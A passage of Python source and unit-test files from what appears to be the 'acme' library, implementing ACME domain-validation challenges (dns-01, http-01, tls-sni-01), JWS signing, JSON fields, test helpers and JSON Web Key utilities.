    """Challenge based on Key Authorization.

    :param response_cls: Subclass of `KeyAuthorizationChallengeResponse`
        that will be used to generate `response`.

    """
    __metaclass__ = abc.ABCMeta

    response_cls = NotImplemented
    thumbprint_hash_function = (
        KeyAuthorizationChallengeResponse.thumbprint_hash_function)

    def key_authorization(self, account_key):
        """Generate Key Authorization.

        :param JWK account_key:
        :rtype unicode:

        """
        return self.encode("token") + "." + jose.b64encode(
            account_key.thumbprint(
                hash_function=self.thumbprint_hash_function)).decode()

    def response(self, account_key):
        """Generate response to the challenge.

        :param JWK account_key:

        :returns: Response (initialized `response_cls`) to the challenge.
        :rtype: KeyAuthorizationChallengeResponse

        """
        return self.response_cls(
            key_authorization=self.key_authorization(account_key))

    @abc.abstractmethod
    def validation(self, account_key, **kwargs):
        """Generate validation for the challenge.

        Subclasses must implement this method, but they are likely to
        return completely different data structures, depending on what's
        necessary to complete the challenge. Interepretation of that
        return value must be known to the caller.

        :param JWK account_key:
        :returns: Challenge-specific validation.

        """
        raise NotImplementedError()  # pragma: no cover

    def response_and_validation(self, account_key, *args, **kwargs):
        """Generate response and validation.

        Convenience function that return results of `response` and
        `validation`.

        :param JWK account_key:
        :rtype: tuple

        """
        return (self.response(account_key),
                self.validation(account_key, *args, **kwargs))


@ChallengeResponse.register
class DNS01Response(KeyAuthorizationChallengeResponse):
    """ACME dns-01 challenge response."""
    typ = "dns-01"

    def simple_verify(self, chall, domain, account_public_key):
        """Simple verify.

        :param challenges.DNS01 chall: Corresponding challenge.
        :param unicode domain: Domain name being verified.
        :param JWK account_public_key: Public key for the key pair
            being authorized.

        :returns: ``True`` iff validation with the TXT records resolved from a
            DNS server is successful.
        :rtype: bool

        """
        if not self.verify(chall, account_public_key):
            logger.debug("Verification of key authorization in response failed")
            return False

        validation_domain_name = chall.validation_domain_name(domain)
        validation = chall.validation(account_public_key)
        logger.debug("Verifying %s at %s...", chall.typ, validation_domain_name)

        try:
            from acme import dns_resolver
        except ImportError:  # pragma: no cover
            raise errors.Error("Local validation for 'dns-01' challenges "
                               "requires 'dnspython'")
        txt_records = dns_resolver.txt_records_for_name(validation_domain_name)
        exists = validation in txt_records
        if not exists:
            logger.debug("Key authorization from response (%r) doesn't match "
                         "any DNS response in %r", self.key_authorization,
                         txt_records)
        return exists


@Challenge.register  # pylint: disable=too-many-ancestors
class DNS01(KeyAuthorizationChallenge):
    """ACME dns-01 challenge."""
    response_cls = DNS01Response
    typ = response_cls.typ

    LABEL = "_acme-challenge"
    """Label clients prepend to the domain name being validated."""

    def validation(self, account_key, **unused_kwargs):
        """Generate validation.

        :param JWK account_key:
        :rtype: unicode

        """
        return jose.b64encode(hashlib.sha256(self.key_authorization(
            account_key).encode("utf-8")).digest()).decode()

    def validation_domain_name(self, name):
        """Domain name for TXT validation record.

        :param unicode name: Domain name being validated.

        """
        return "{0}.{1}".format(self.LABEL, name)


@ChallengeResponse.register
class HTTP01Response(KeyAuthorizationChallengeResponse):
    """ACME http-01 challenge response."""
    typ = "http-01"

    PORT = 80
    """Verification port as defined by the protocol.

    You can override it (e.g. for testing) by passing ``port`` to
    `simple_verify`.

    """

    WHITESPACE_CUTSET = "\n\r\t "
    """Whitespace characters which should be ignored at the end of the body."""

    def simple_verify(self, chall, domain, account_public_key, port=None):
        """Simple verify.

        :param challenges.SimpleHTTP chall: Corresponding challenge.
        :param unicode domain: Domain name being verified.
        :param JWK account_public_key: Public key for the key pair
            being authorized.
        :param int port: Port used in the validation.

        :returns: ``True`` iff validation with the files currently served by the
            HTTP server is successful.
        :rtype: bool

        """
        if not self.verify(chall, account_public_key):
            logger.debug("Verification of key authorization in response failed")
            return False

        # TODO: ACME specification defines URI template that doesn't
        # allow to use a custom port... Make sure port is not in the
        # request URI, if it's standard.
        if port is not None and port != self.PORT:
            logger.warning(
                "Using non-standard port for http-01 verification: %s", port)
            domain += ":{0}".format(port)

        uri = chall.uri(domain)
        logger.debug("Verifying %s at %s...", chall.typ, uri)
        try:
            http_response = requests.get(uri)
        except requests.exceptions.RequestException as error:
            logger.error("Unable to reach %s: %s", uri, error)
            return False
        logger.debug("Received %s: %s. Headers: %s", http_response,
                     http_response.text, http_response.headers)

        challenge_response = http_response.text.rstrip(self.WHITESPACE_CUTSET)
        if self.key_authorization != challenge_response:
            logger.debug("Key authorization from response (%r) doesn't match "
                         "HTTP response (%r)", self.key_authorization,
                         challenge_response)
            return False

        return True


@Challenge.register  # pylint: disable=too-many-ancestors
class HTTP01(KeyAuthorizationChallenge):
    """ACME http-01 challenge."""
    response_cls = HTTP01Response
    typ = response_cls.typ

    URI_ROOT_PATH = ".well-known/acme-challenge"
    """URI root path for the server provisioned resource."""

    @property
    def path(self):
        """Path (starting with '/') for provisioned resource.

        :rtype: string

        """
        return '/' + self.URI_ROOT_PATH + '/' + self.encode('token')

    def uri(self, domain):
        """Create an URI to the provisioned resource.

        Forms an URI to the HTTPS server provisioned resource
        (containing :attr:`~SimpleHTTP.token`).

        :param unicode domain: Domain name being verified.
        :rtype: string

        """
        return "http://" + domain + self.path

    def validation(self, account_key, **unused_kwargs):
        """Generate validation.

        :param JWK account_key:
        :rtype: unicode

        """
        return self.key_authorization(account_key)


@ChallengeResponse.register
class TLSSNI01Response(KeyAuthorizationChallengeResponse):
    """ACME tls-sni-01 challenge response."""
    typ = "tls-sni-01"

    DOMAIN_SUFFIX = b".acme.invalid"
    """Domain name suffix."""

    PORT = 443
    """Verification port as defined by the protocol.

    You can override it (e.g. for testing) by passing ``port`` to
    `simple_verify`.

    """

    @property
    def z(self):  # pylint: disable=invalid-name
        """``z`` value used for verification.

        :rtype bytes:

        """
        return hashlib.sha256(
            self.key_authorization.encode("utf-8")).hexdigest().lower().encode()

    @property
    def z_domain(self):
        """Domain name used for verification, generated from `z`.

        :rtype bytes:

        """
        return self.z[:32] + b'.' + self.z[32:] + self.DOMAIN_SUFFIX

    def gen_cert(self, key=None, bits=2048):
        """Generate tls-sni-01 certificate.

        :param OpenSSL.crypto.PKey key: Optional private key used in
            certificate generation. If not provided (``None``), then
            fresh key will be generated.
        :param int bits: Number of bits for newly generated key.

        :rtype: `tuple` of `OpenSSL.crypto.X509` and `OpenSSL.crypto.PKey`

        """
        if key is None:
            key = OpenSSL.crypto.PKey()
            key.generate_key(OpenSSL.crypto.TYPE_RSA, bits)
        return crypto_util.gen_ss_cert(key, [
            # z_domain is too big to fit into CN, hence first dummy domain
            'dummy', self.z_domain.decode()], force_san=True), key

    def probe_cert(self, domain, **kwargs):
        """Probe tls-sni-01 challenge certificate.

        :param unicode domain:

        """
        # TODO: domain is not necessary if host is provided
        if "host" not in kwargs:
            host = socket.gethostbyname(domain)
            logging.debug('%s resolved to %s', domain, host)
            kwargs["host"] = host

        kwargs.setdefault("port", self.PORT)
        kwargs["name"] = self.z_domain
        # TODO: try different methods?
        # pylint: disable=protected-access
        return crypto_util.probe_sni(**kwargs)

    def verify_cert(self, cert):
        """Verify tls-sni-01 challenge certificate.

        :param OpensSSL.crypto.X509 cert: Challenge certificate.

        :returns: Whether the certificate was successfully verified.
        :rtype: bool

        """
        # pylint: disable=protected-access
        sans = crypto_util._pyopenssl_cert_or_req_san(cert)
        logging.debug('Certificate %s. SANs: %s', cert.digest('sha1'), sans)
        return self.z_domain.decode() in sans

    def simple_verify(self, chall, domain, account_public_key,
                      cert=None, **kwargs):
        """Simple verify.

        Verify ``validation`` using ``account_public_key``, optionally
        probe tls-sni-01 certificate and check using `verify_cert`.

        :param .challenges.TLSSNI01 chall: Corresponding challenge.
        :param str domain: Domain name being validated.
        :param JWK account_public_key:
        :param OpenSSL.crypto.X509 cert: Optional certificate. If not
            provided (``None``) certificate will be retrieved using
            `probe_cert`.
        :param int port: Port used to probe the certificate.


        :returns: ``True`` iff client's control of the domain has been
            verified.
        :rtype: bool

        """
        if not self.verify(chall, account_public_key):
            logger.debug("Verification of key authorization in response failed")
            return False

        if cert is None:
            try:
                cert = self.probe_cert(domain=domain, **kwargs)
            except errors.Error as error:
                logger.debug(error, exc_info=True)
                return False

        return self.verify_cert(cert)


@Challenge.register  # pylint: disable=too-many-ancestors
class TLSSNI01(KeyAuthorizationChallenge):
    """ACME tls-sni-01 challenge."""
    response_cls = TLSSNI01Response
    typ = response_cls.typ

    # boulder#962, ietf-wg-acme#22
    #n = jose.Field("n", encoder=int, decoder=int)

    def validation(self, account_key, **kwargs):
        """Generate validation.

        :param JWK account_key:
        :param OpenSSL.crypto.PKey cert_key: Optional private key used
            in certificate generation. If not provided (``None``), then
            fresh key will be generated.

        :rtype: `tuple` of `OpenSSL.crypto.X509` and `OpenSSL.crypto.PKey`

        """
        return self.response(account_key).gen_cert(key=kwargs.get('cert_key'))


@Challenge.register  # pylint: disable=too-many-ancestors
class DNS(_TokenChallenge):
    """ACME "dns" challenge."""
    typ = "dns"

    LABEL = "_acme-challenge"
    """Label clients prepend to the domain name being validated."""

    def gen_validation(self, account_key, alg=jose.RS256, **kwargs):
        """Generate validation.

        :param .JWK account_key: Private account key.
        :param .JWA alg:

        :returns: This challenge wrapped in `.JWS`
        :rtype: .JWS

        """
        return jose.JWS.sign(
            payload=self.json_dumps(sort_keys=True).encode('utf-8'),
            key=account_key, alg=alg, **kwargs)

    def check_validation(self, validation, account_public_key):
        """Check validation.

        :param JWS validation:
        :param JWK account_public_key:
        :rtype: bool

        """
        if not validation.verify(key=account_public_key):
            return False
        try:
            return self == self.json_loads(
                validation.payload.decode('utf-8'))
        except jose.DeserializationError as error:
            logger.debug("Checking validation for DNS failed: %s", error)
            return False

    def gen_response(self, account_key, **kwargs):
        """Generate response.

        :param .JWK account_key: Private account key.
        :param .JWA alg:

        :rtype: DNSResponse

        """
        return DNSResponse(validation=self.gen_validation(
            account_key, **kwargs))

    def validation_domain_name(self, name):
        """Domain name for TXT validation record.

        :param unicode name: Domain name being validated.

        """
        return "{0}.{1}".format(self.LABEL, name)


@ChallengeResponse.register
class DNSResponse(ChallengeResponse):
    """ACME "dns" challenge response.

    :param JWS validation:

    """
    typ = "dns"

    validation = jose.Field("validation", decoder=jose.JWS.from_json)

    def check_validation(self, chall, account_public_key):
        """Check validation.

        :param challenges.DNS chall:
        :param JWK account_public_key:

        :rtype: bool

        """
        return chall.check_validation(self.validation, account_public_key)






"""Tests for acme.standalone."""
import os
import shutil
import threading
import tempfile
import time
import unittest

from six.moves import http_client  # pylint: disable=import-error
from six.moves import socketserver  # pylint: disable=import-error

import requests

from acme import challenges
from acme import crypto_util
from acme import errors
from acme import jose
from acme import test_util


class TLSServerTest(unittest.TestCase):
    """Tests for acme.standalone.TLSServer."""

    def test_bind(self):  # pylint: disable=no-self-use
        from acme.standalone import TLSServer
        server = TLSServer(
            ('', 0), socketserver.BaseRequestHandler, bind_and_activate=True)
        server.server_close()  # pylint: disable=no-member


class TLSSNI01ServerTest(unittest.TestCase):
    """Test for acme.standalone.TLSSNI01Server."""

    def setUp(self):
        self.certs = {b'localhost': (
            test_util.load_pyopenssl_private_key('rsa512_key.pem'),
            test_util.load_cert('cert.pem'),
        )}
        from acme.standalone import TLSSNI01Server
        self.server = TLSSNI01Server(("", 0), certs=self.certs)
        # pylint: disable=no-member
        self.thread = threading.Thread(target=self.server.serve_forever)
        self.thread.start()

    def tearDown(self):
        self.server.shutdown()  # pylint: disable=no-member
        self.thread.join()

    def test_it(self):
        host, port = self.server.socket.getsockname()[:2]
        cert = crypto_util.probe_sni(
            b'localhost', host=host, port=port, timeout=1)
        self.assertEqual(jose.ComparableX509(cert),
                         jose.ComparableX509(self.certs[b'localhost'][1]))


class HTTP01ServerTest(unittest.TestCase):
    """Tests for acme.standalone.HTTP01Server."""

    def setUp(self):
        self.account_key = jose.JWK.load(
            test_util.load_vector('rsa1024_key.pem'))
        self.resources = set()

        from acme.standalone import HTTP01Server
        self.server = HTTP01Server(('', 0), resources=self.resources)

        # pylint: disable=no-member
        self.port = self.server.socket.getsockname()[1]
        self.thread = threading.Thread(target=self.server.serve_forever)
        self.thread.start()

    def tearDown(self):
        self.server.shutdown()  # pylint: disable=no-member
        self.thread.join()

    def test_index(self):
        response = requests.get(
            'http://localhost:{0}'.format(self.port), verify=False)
        self.assertEqual(
            response.text, 'ACME client standalone challenge solver')
        self.assertTrue(response.ok)

    def test_404(self):
        response = requests.get(
            'http://localhost:{0}/foo'.format(self.port), verify=False)
        self.assertEqual(response.status_code, http_client.NOT_FOUND)

    def _test_http01(self, add):
        chall = challenges.HTTP01(token=(b'x' * 16))
        response, validation = chall.response_and_validation(self.account_key)

        from acme.standalone import HTTP01RequestHandler
        resource = HTTP01RequestHandler.HTTP01Resource(
            chall=chall, response=response, validation=validation)
        if add:
            self.resources.add(resource)
        return resource.response.simple_verify(
            resource.chall, 'localhost', self.account_key.public_key(),
            port=self.port)

    def test_http01_found(self):
        self.assertTrue(self._test_http01(add=True))

    def test_http01_not_found(self):
        self.assertFalse(self._test_http01(add=False))


class TestSimpleTLSSNI01Server(unittest.TestCase):
    """Tests for acme.standalone.simple_tls_sni_01_server."""

    def setUp(self):
        # mirror ../examples/standalone
        self.test_cwd = tempfile.mkdtemp()
        localhost_dir = os.path.join(self.test_cwd, 'localhost')
        os.makedirs(localhost_dir)
        shutil.copy(test_util.vector_path('cert.pem'), localhost_dir)
        shutil.copy(test_util.vector_path('rsa512_key.pem'),
                    os.path.join(localhost_dir, 'key.pem'))

        from acme.standalone import simple_tls_sni_01_server
        self.port = 1234
        self.thread = threading.Thread(
            target=simple_tls_sni_01_server, kwargs={
                'cli_args': ('xxx', '--port', str(self.port)),
                'forever': False,
            },
        )
        self.old_cwd = os.getcwd()
        os.chdir(self.test_cwd)
        self.thread.start()

    def tearDown(self):
        os.chdir(self.old_cwd)
        self.thread.join()
        shutil.rmtree(self.test_cwd)

    def test_it(self):
        max_attempts = 5
        while max_attempts:
            max_attempts -= 1
            try:
                cert = crypto_util.probe_sni(
                    b'localhost', b'0.0.0.0', self.port)
            except errors.Error:
                self.assertTrue(max_attempts > 0, "Timeout!")
                time.sleep(1)  # wait until thread starts
            else:
                self.assertEqual(jose.ComparableX509(cert),
                                 test_util.load_comparable_cert('cert.pem'))
                break


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""ACME protocol implementation.

This module is an implementation of the `ACME protocol`_. Latest
supported version: `draft-ietf-acme-01`_.


.. _`ACME protocol`: https://ietf-wg-acme.github.io/acme

.. _`draft-ietf-acme-01`:
  https://github.com/ietf-wg-acme/acme/tree/draft-ietf-acme-acme-01

"""






"""ACME JSON fields."""
import logging

import pyrfc3339

from acme import jose


logger = logging.getLogger(__name__)


class Fixed(jose.Field):
    """Fixed field."""

    def __init__(self, json_name, value):
        self.value = value
        super(Fixed, self).__init__(
            json_name=json_name, default=value, omitempty=False)

    def decode(self, value):
        if value != self.value:
            raise jose.DeserializationError('Expected {0!r}'.format(self.value))
        return self.value

    def encode(self, value):
        if value != self.value:
            logger.warning(
                'Overriding fixed field (%s) with %r', self.json_name, value)
        return value


class RFC3339Field(jose.Field):
    """RFC3339 field encoder/decoder.

    Handles decoding/encoding between RFC3339 strings and aware (not
    naive) `datetime.datetime` objects
    (e.g. ``datetime.datetime.now(pytz.utc)``).

    """

    @classmethod
    def default_encoder(cls, value):
        return pyrfc3339.generate(value)

    @classmethod
    def default_decoder(cls, value):
        try:
            return pyrfc3339.parse(value)
        except ValueError as error:
            raise jose.DeserializationError(error)


class Resource(jose.Field):
    """Resource MITM field."""

    def __init__(self, resource_type, *args, **kwargs):
        self.resource_type = resource_type
        super(Resource, self).__init__(
            'resource', default=resource_type, *args, **kwargs)

    def decode(self, value):
        if value != self.resource_type:
            raise jose.DeserializationError(
                'Wrong resource type: {0} instead of {1}'.format(
                    value, self.resource_type))
        return value






"""ACME JOSE JWS."""
from acme import jose


class Header(jose.Header):
    """ACME JOSE Header.

    .. todo:: Implement ``acmePath``.

    """
    nonce = jose.Field('nonce', omitempty=True, encoder=jose.encode_b64jose)

    @nonce.decoder
    def nonce(value):  # pylint: disable=missing-docstring,no-self-argument
        try:
            return jose.decode_b64jose(value)
        except jose.DeserializationError as error:
            # TODO: custom error
            raise jose.DeserializationError("Invalid nonce: {0}".format(error))


class Signature(jose.Signature):
    """ACME Signature."""
    __slots__ = jose.Signature._orig_slots  # pylint: disable=no-member

    # TODO: decoder/encoder should accept cls? Otherwise, subclassing
    # JSONObjectWithFields is tricky...
    header_cls = Header
    header = jose.Field(
        'header', omitempty=True, default=header_cls(),
        decoder=header_cls.from_json)

    # TODO: decoder should check that nonce is in the protected header


class JWS(jose.JWS):
    """ACME JWS."""
    signature_cls = Signature
    __slots__ = jose.JWS._orig_slots  # pylint: disable=no-member

    @classmethod
    def sign(cls, payload, key, alg, nonce):  # pylint: disable=arguments-differ
        return super(JWS, cls).sign(payload, key=key, alg=alg,
                                    protect=frozenset(['nonce']), nonce=nonce)






"""Tests for acme.util."""
import unittest


class MapKeysTest(unittest.TestCase):
    """Tests for acme.util.map_keys."""

    def test_it(self):
        from acme.util import map_keys
        self.assertEqual({'a': 'b', 'c': 'd'},
                         map_keys({'a': 'b', 'c': 'd'}, lambda key: key))
        self.assertEqual({2: 2, 4: 4}, map_keys({1: 2, 3: 4}, lambda x: x + 1))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Test utilities.

.. warning:: This module is not part of the public API.

"""
import os
import pkg_resources

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import OpenSSL

from acme import jose


def vector_path(*names):
    """Path to a test vector."""
    return pkg_resources.resource_filename(
        __name__, os.path.join('testdata', *names))


def load_vector(*names):
    """Load contents of a test vector."""
    # luckily, resource_string opens file in binary mode
    return pkg_resources.resource_string(
        __name__, os.path.join('testdata', *names))


def _guess_loader(filename, loader_pem, loader_der):
    _, ext = os.path.splitext(filename)
    if ext.lower() == '.pem':
        return loader_pem
    elif ext.lower() == '.der':
        return loader_der
    else:  # pragma: no cover
        raise ValueError("Loader could not be recognized based on extension")


def load_cert(*names):
    """Load certificate."""
    loader = _guess_loader(
        names[-1], OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1)
    return OpenSSL.crypto.load_certificate(loader, load_vector(*names))


def load_comparable_cert(*names):
    """Load ComparableX509 cert."""
    return jose.ComparableX509(load_cert(*names))


def load_csr(*names):
    """Load certificate request."""
    loader = _guess_loader(
        names[-1], OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1)
    return OpenSSL.crypto.load_certificate_request(loader, load_vector(*names))


def load_comparable_csr(*names):
    """Load ComparableX509 certificate request."""
    return jose.ComparableX509(load_csr(*names))


def load_rsa_private_key(*names):
    """Load RSA private key."""
    loader = _guess_loader(names[-1], serialization.load_pem_private_key,
                           serialization.load_der_private_key)
    return jose.ComparableRSAKey(loader(
        load_vector(*names), password=None, backend=default_backend()))


def load_pyopenssl_private_key(*names):
    """Load pyOpenSSL private key."""
    loader = _guess_loader(
        names[-1], OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1)
    return OpenSSL.crypto.load_privatekey(loader, load_vector(*names))






"""Tests for acme.jws."""
import unittest

from acme import jose
from acme import test_util


KEY = jose.JWKRSA.load(test_util.load_vector('rsa512_key.pem'))


class HeaderTest(unittest.TestCase):
    """Tests for acme.jws.Header."""

    good_nonce = jose.encode_b64jose(b'foo')
    wrong_nonce = u'F'
    # Following just makes sure wrong_nonce is wrong
    try:
        jose.b64decode(wrong_nonce)
    except (ValueError, TypeError):
        assert True
    else:
        assert False  # pragma: no cover

    def test_nonce_decoder(self):
        from acme.jws import Header
        nonce_field = Header._fields['nonce']

        self.assertRaises(
            jose.DeserializationError, nonce_field.decode, self.wrong_nonce)
        self.assertEqual(b'foo', nonce_field.decode(self.good_nonce))


class JWSTest(unittest.TestCase):
    """Tests for acme.jws.JWS."""

    def setUp(self):
        self.privkey = KEY
        self.pubkey = self.privkey.public_key()
        self.nonce = jose.b64encode(b'Nonce')

    def test_it(self):
        from acme.jws import JWS
        jws = JWS.sign(payload=b'foo', key=self.privkey,
                       alg=jose.RS256, nonce=self.nonce)
        self.assertEqual(jws.signature.combined.nonce, self.nonce)
        # TODO: check that nonce is in protected header

        self.assertEqual(jws, JWS.from_json(jws.to_json()))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""JOSE utilities."""
import collections

from cryptography.hazmat.primitives.asymmetric import rsa
import OpenSSL
import six


class abstractclassmethod(classmethod):
    # pylint: disable=invalid-name,too-few-public-methods
    """Descriptor for an abstract classmethod.

    It augments the :mod:`abc` framework with an abstract
    classmethod. This is implemented as :class:`abc.abstractclassmethod`
    in the standard Python library starting with version 3.2.

    This particular implementation, allegedly based on Python 3.3 source
    code, is stolen from
    http://stackoverflow.com/questions/11217878/python-2-7-combine-abc-abstractmethod-and-classmethod.

    """
    __isabstractmethod__ = True

    def __init__(self, target):
        target.__isabstractmethod__ = True
        super(abstractclassmethod, self).__init__(target)


class ComparableX509(object):  # pylint: disable=too-few-public-methods
    """Wrapper for OpenSSL.crypto.X509** objects that supports __eq__.

    :ivar wrapped: Wrapped certificate or certificate request.
    :type wrapped: `OpenSSL.crypto.X509` or `OpenSSL.crypto.X509Req`.

    """
    def __init__(self, wrapped):
        assert isinstance(wrapped, OpenSSL.crypto.X509) or isinstance(
            wrapped, OpenSSL.crypto.X509Req)
        self.wrapped = wrapped

    def __getattr__(self, name):
        return getattr(self.wrapped, name)

    def _dump(self, filetype=OpenSSL.crypto.FILETYPE_ASN1):
        """Dumps the object into a buffer with the specified encoding.

        :param int filetype: The desired encoding. Should be one of
            `OpenSSL.crypto.FILETYPE_ASN1`,
            `OpenSSL.crypto.FILETYPE_PEM`, or
            `OpenSSL.crypto.FILETYPE_TEXT`.

        :returns: Encoded X509 object.
        :rtype: str

        """
        if isinstance(self.wrapped, OpenSSL.crypto.X509):
            func = OpenSSL.crypto.dump_certificate
        else:  # assert in __init__ makes sure this is X509Req
            func = OpenSSL.crypto.dump_certificate_request
        return func(filetype, self.wrapped)

    def __eq__(self, other):
        if not isinstance(other, self.__class__):
            return NotImplemented
        # pylint: disable=protected-access
        return self._dump() == other._dump()

    def __hash__(self):
        return hash((self.__class__, self._dump()))

    def __ne__(self, other):
        return not self == other

    def __repr__(self):
        return '<{0}({1!r})>'.format(self.__class__.__name__, self.wrapped)


class ComparableKey(object):  # pylint: disable=too-few-public-methods
    """Comparable wrapper for `cryptography` keys.

    See https://github.com/pyca/cryptography/issues/2122.

    """
    __hash__ = NotImplemented

    def __init__(self, wrapped):
        self._wrapped = wrapped

    def __getattr__(self, name):
        return getattr(self._wrapped, name)

    def __eq__(self, other):
        # pylint: disable=protected-access
        if (not isinstance(other, self.__class__) or
                self._wrapped.__class__ is not other._wrapped.__class__):
            return NotImplemented
        elif hasattr(self._wrapped, 'private_numbers'):
            return self.private_numbers() == other.private_numbers()
        elif hasattr(self._wrapped, 'public_numbers'):
            return self.public_numbers() == other.public_numbers()
        else:
            return NotImplemented

    def __ne__(self, other):
        return not self == other

    def __repr__(self):
        return '<{0}({1!r})>'.format(self.__class__.__name__, self._wrapped)

    def public_key(self):
        """Get wrapped public key."""
        return self.__class__(self._wrapped.public_key())


class ComparableRSAKey(ComparableKey):  # pylint: disable=too-few-public-methods
    """Wrapper for `cryptography` RSA keys.

    Wraps around:
    - `cryptography.hazmat.primitives.asymmetric.RSAPrivateKey`
    - `cryptography.hazmat.primitives.asymmetric.RSAPublicKey`

    """

    def __hash__(self):
        # public_numbers() hasn't got stable hash!
        # https://github.com/pyca/cryptography/issues/2143
        if isinstance(self._wrapped, rsa.RSAPrivateKeyWithSerialization):
            priv = self.private_numbers()
            pub = priv.public_numbers
            return hash((self.__class__, priv.p, priv.q, priv.dmp1,
                         priv.dmq1, priv.iqmp, pub.n, pub.e))
        elif isinstance(self._wrapped, rsa.RSAPublicKeyWithSerialization):
            pub = self.public_numbers()
            return hash((self.__class__, pub.n, pub.e))


class ImmutableMap(collections.Mapping, collections.Hashable):
    # pylint: disable=too-few-public-methods
    """Immutable key to value mapping with attribute access."""

    __slots__ = ()
    """Must be overridden in subclasses."""

    def __init__(self, **kwargs):
        if set(kwargs) != set(self.__slots__):
            raise TypeError(
                '__init__() takes exactly the following arguments: {0} '
                '({1} given)'.format(', '.join(self.__slots__),
                                     ', '.join(kwargs) if kwargs else 'none'))
        for slot in self.__slots__:
            object.__setattr__(self, slot, kwargs.pop(slot))

    def update(self, **kwargs):
        """Return updated map."""
        items = dict(self)
        items.update(kwargs)
        return type(self)(**items)  # pylint: disable=star-args

    def __getitem__(self, key):
        try:
            return getattr(self, key)
        except AttributeError:
            raise KeyError(key)

    def __iter__(self):
        return iter(self.__slots__)

    def __len__(self):
        return len(self.__slots__)

    def __hash__(self):
        return hash(tuple(getattr(self, slot) for slot in self.__slots__))

    def __setattr__(self, name, value):
        raise AttributeError("can't set attribute")

    def __repr__(self):
        return '{0}({1})'.format(self.__class__.__name__, ', '.join(
            '{0}={1!r}'.format(key, value)
            for key, value in six.iteritems(self)))


class frozendict(collections.Mapping, collections.Hashable):
    # pylint: disable=invalid-name,too-few-public-methods
    """Frozen dictionary."""
    __slots__ = ('_items', '_keys')

    def __init__(self, *args, **kwargs):
        if kwargs and not args:
            items = dict(kwargs)
        elif len(args) == 1 and isinstance(args[0], collections.Mapping):
            items = args[0]
        else:
            raise TypeError()
        # TODO: support generators/iterators

        object.__setattr__(self, '_items', items)
        object.__setattr__(self, '_keys', tuple(sorted(six.iterkeys(items))))

    def __getitem__(self, key):
        return self._items[key]

    def __iter__(self):
        return iter(self._keys)

    def __len__(self):
        return len(self._items)

    def _sorted_items(self):
        return tuple((key, self[key]) for key in self._keys)

    def __hash__(self):
        return hash(self._sorted_items())

    def __getattr__(self, name):
        try:
            return self._items[name]
        except KeyError:
            raise AttributeError(name)

    def __setattr__(self, name, value):
        raise AttributeError("can't set attribute")

    def __repr__(self):
        return 'frozendict({0})'.format(', '.join('{0}={1!r}'.format(
            key, value) for key, value in self._sorted_items()))






"""JSON Web Key."""
import abc
import binascii
import json
import logging

import cryptography.exceptions
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric import rsa

import six

from acme.jose import errors
from acme.jose import json_util
from acme.jose import util


logger = logging.getLogger(__name__)


class JWK(json_util.TypedJSONObjectWithFields):
    # pylint: disable=too-few-public-methods
    """JSON Web Key."""
    type_field_name = 'kty'
    TYPES = {}
    cryptography_key_types = ()
    """Subclasses should override."""

    required = NotImplemented
    """Required members of public key's representation as defined by JWK/JWA."""

    _thumbprint_json_dumps_params = {
        # "no whitespace or line breaks before or after any syntactic
        # elements"
        'indent': None,
        'separators': (',', ':'),
        # "members ordered lexicographically by the Unicode [UNICODE]
        # code points of the member names"
        'sort_keys': True,
    }

    def thumbprint(self, hash_function=hashes.SHA256):
        """Compute JWK Thumbprint.

        https://tools.ietf.org/html/rfc7638

        :returns bytes:

        """
        digest = hashes.Hash(hash_function(), backend=default_backend())
        digest.update(json.dumps(
            dict((k, v) for k, v in six.iteritems(self.to_json())
                 if k in self.required),
            **self._thumbprint_json_dumps_params).encode())
        return digest.finalize()

    @abc.abstractmethod
    def public_key(self):  # pragma: no cover
        """Generate JWK with public key.

        For symmetric cryptosystems, this would return ``self``.

        """
        raise NotImplementedError()

    @classmethod
    def _load_cryptography_key(cls, data, password=None, backend=None):
        backend = default_backend() if backend is None else backend
        exceptions = {}

        # private key?
        for loader in (serialization.load_pem_private_key,
                       serialization.load_der_private_key):
            try:
                return loader(data, password, backend)
            except (ValueError, TypeError,
                    cryptography.exceptions.UnsupportedAlgorithm) as error:
                exceptions[loader] = error

        # public key?
        for loader in (serialization.load_pem_public_key,
                       serialization.load_der_public_key):
            try:
                return loader(data, backend)
            except (ValueError,
                    cryptography.exceptions.UnsupportedAlgorithm) as error:
                exceptions[loader] = error

        # no luck
        raise errors.Error('Unable to deserialize key: {0}'.format(exceptions))

    @classmethod
    def load(cls, data, password=None, backend=None):
        """Load serialized key as JWK.

        :param str data: Public or private key serialized as PEM or DER.
        :param str password: Optional password.
        :param backend: A `.PEMSerializationBackend` and
            `.DERSerializationBackend` provider.

        :raises errors.Error: if unable to deserialize, or unsupported
            JWK algorithm

        :returns: JWK of an appropriate type.
        :rtype: `JWK`

        """
        try:
            key = cls._load_cryptography_key(data, password, backend)
        except errors.Error as error:
            logger.debug('Loading symmetric key, assymentric failed: %s', error)
            return JWKOct(key=data)

        if cls.typ is not NotImplemented and not isinstance(
                key, cls.cryptography_key_types):
            raise errors.Error('Unable to deserialize {0} into {1}'.format(
                key.__class__, cls.__class__))
        for jwk_cls in six.itervalues(cls.TYPES):
            if isinstance(key, jwk_cls.cryptography_key_types):
                return jwk_cls(key=key)
        raise errors.Error('Unsupported algorithm: {0}'.format(key.__class__))


@JWK.register
class JWKES(JWK):  # pragma: no cover
    # pylint: disable=abstract-class-not-used
    """ES JWK.

    .. warning:: This is not yet implemented!

    """
    typ = 'ES'
    cryptography_key_types = (
        ec.EllipticCurvePublicKey, ec.EllipticCurvePrivateKey)
    required = ('crv', JWK.type_field_name, 'x', 'y')

    def fields_to_partial_json(self):
        raise NotImplementedError()

    @classmethod
    def fields_from_json(cls, jobj):
        raise NotImplementedError()

    def public_key(self):
        raise NotImplementedError()


@JWK.register
class JWKOct(JWK):
    """Symmetric JWK."""
    typ = 'oct'
    __slots__ = ('key',)
    required = ('k', JWK.type_field_name)

    def fields_to_partial_json(self):
        # TODO: An "alg" member SHOULD also be present to identify the
        # algorithm intended to be used with the key, unless the
